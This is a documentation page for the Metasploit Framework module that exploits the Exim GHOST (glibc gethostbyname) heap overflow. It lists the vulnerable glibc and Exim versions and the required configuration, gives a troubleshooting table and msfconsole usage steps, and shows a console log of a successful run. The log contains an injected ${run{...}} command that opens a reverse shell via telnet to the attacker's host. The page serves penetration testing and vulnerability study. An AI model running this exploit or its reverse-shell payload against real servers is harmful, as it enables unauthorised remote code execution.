CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/exploit/linux/smtp/exim_gethostbyname_bof.md
Views: 11789

Vulnerable Application

The Exim GHOST buffer overflow is a vulnerability found by researchers from Qualys. On March 17th 2015, Qualys released an exploit module demonstrating the exploitability of this flaw, which is now exim_gethostbyname_bof in Metasploit Framework.

When Qualys released the exploit, it included a lot of technical details for debugging and usage purposes. We decided to put all that here in a more readable format.

What is "GHOST"

This is a heap based buffer overflow found in GNU C Library's gethostbyname functions since glibc-2.2 (November 10, 2000), which is part of the Linux operating system, such as: Debian, Red Hat, CentOS, and Ubuntu.

Exploitable Requirements

On the server-side (victim):

  • glibc-2.6 - glibc-2.17: The exploit depends on the newer versions' fd_nextsize (a member of the malloc_chunk structure) to remotely obtain the address of Exim's smtp_cmd_buffer in the heap.

  • Exim server. The first exploitable version is Exim-4.77, maybe older. The exploit depends on the newer versions' 16-KB smtp_cmd_buffer to reliably set up the heap as described in the advisory.

  • The Exim server also must enable helo_try_verify_hosts or helo_verify_hosts in the /etc/exim4/exim4.conf.template file. The verify = helo ACL might be exploitable too, but the attack vector isn't as reliable, therefore not supported by the module.

For testing purposes, if you need to find a vulnerable system, you can try Debian 7 (it should come with an exploitable Exim server): debian-7.7.0-i386-DVD-1.iso

On the attacker's side:

  • The attacker's IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS).

Troubleshooting

If the exim_gethostbyname_bof.rb module has failed on you:

FailureExplanation
bad SENDER_HOST_ADDRESS (nil)The SENDER_HOST_ADDRESS datastore option was not specified
bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)The SENDER_HOST_ADDRESS datastore option was specified, but not in IPv4 dotted-decimal notation
bad SENDER_HOST_ADDRESS (helo_verify_hosts)The SENDER_HOST_ADDRESS datastore option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim).
bad SENDER_HOST_ADDRESS (no FCrDNS)the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
not vuln? old glibc? (no leaked_arch)the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
NUL, CR, LF in addr? (no leaked_addr)Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved).
Brute-force SUCCESS followed by a nil reply, but no shellthe remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc).
Brute-force SUCCESS followed by a non-nil reply, and no shellThe remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc).

Verification Steps

  1. Install the application

  2. Start msfconsole

  3. Do: use exploit/linux/smtp/exim_gethostbyname_bof

  4. Do: set rhosts [ip]

  5. Do: set SENDER_HOST_ADDRESS [ip]

  6. Do: run

  7. You should get a shell.

Options

SENDER_HOST_ADDRESS

The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

Scenarios

Debian 7.7

When everything is dialed in correctly, a successful attack should look like the following:

msf exploit(exim_gethostbyname_bof) > run [*] Started reverse double handler [*] Trying information leak... [!] {:heap_shift=>736} [!] {:write_offset=>128, :error=>"503 sender not yet given"} [!] {:write_offset=>136, :error=>"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"} [!] {:error=>["\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given", "", "503 \x89\x10", "177", "177\\177\\177", "vJN\\177\\177\\177\\177"]} [!] {:leaked_arch=>"x86"} [!] {:count=>{"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"=>8, "hF\xFE\xB7hF\xFE\xB7er not yet given"=>2}} [+] Successfully leaked_arch: x86 [+] Successfully leaked_addr: b7fda760 [*] Trying code execution... [!] ${run{/usr/bin/env setsid /bin/sh -c "sh -c '(sleep 4011|telnet 192.168.1.64 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.64 4444 >/dev/null 2>&1 &)'"}} [!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>21} [!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}} [!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>25} [!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>20} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>8} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>6} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>12} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>19} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>29} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>23} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>18} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>14} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>3} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>29} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>28} [!] {:helo=>6144, :step=>6025, :addr=>"b7fd02a1", :offset=>26} [!] {:reply=>{:code=>"550", :lines=>["550 sikVtqGxFOjCBOWTbDupmIuJRmLmShFNqqUYRRPUolyxPmmgLCenEzConuVGWafjgycyRfXulGNwmAOvkqZkGobMyUIMPojZsaziCjVVyvabOrcieEWrLZSgnCCXHeXjIzGGfUALAIubgBEmsKsSWSGa\r\n"]}} [+] Brute-force SUCCESS [+] Please wait for reply... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo qaNpBmRBEus9XoVZ; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "qaNpBmRBEus9XoVZ\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (192.168.1.64:4444 -> 192.168.1.166:58859) at 2015-03-19 03:36:52 -0500 [!] {:reply=>nil} id uid=104(Debian-exim) gid=112(Debian-exim) groups=112(Debian-exim)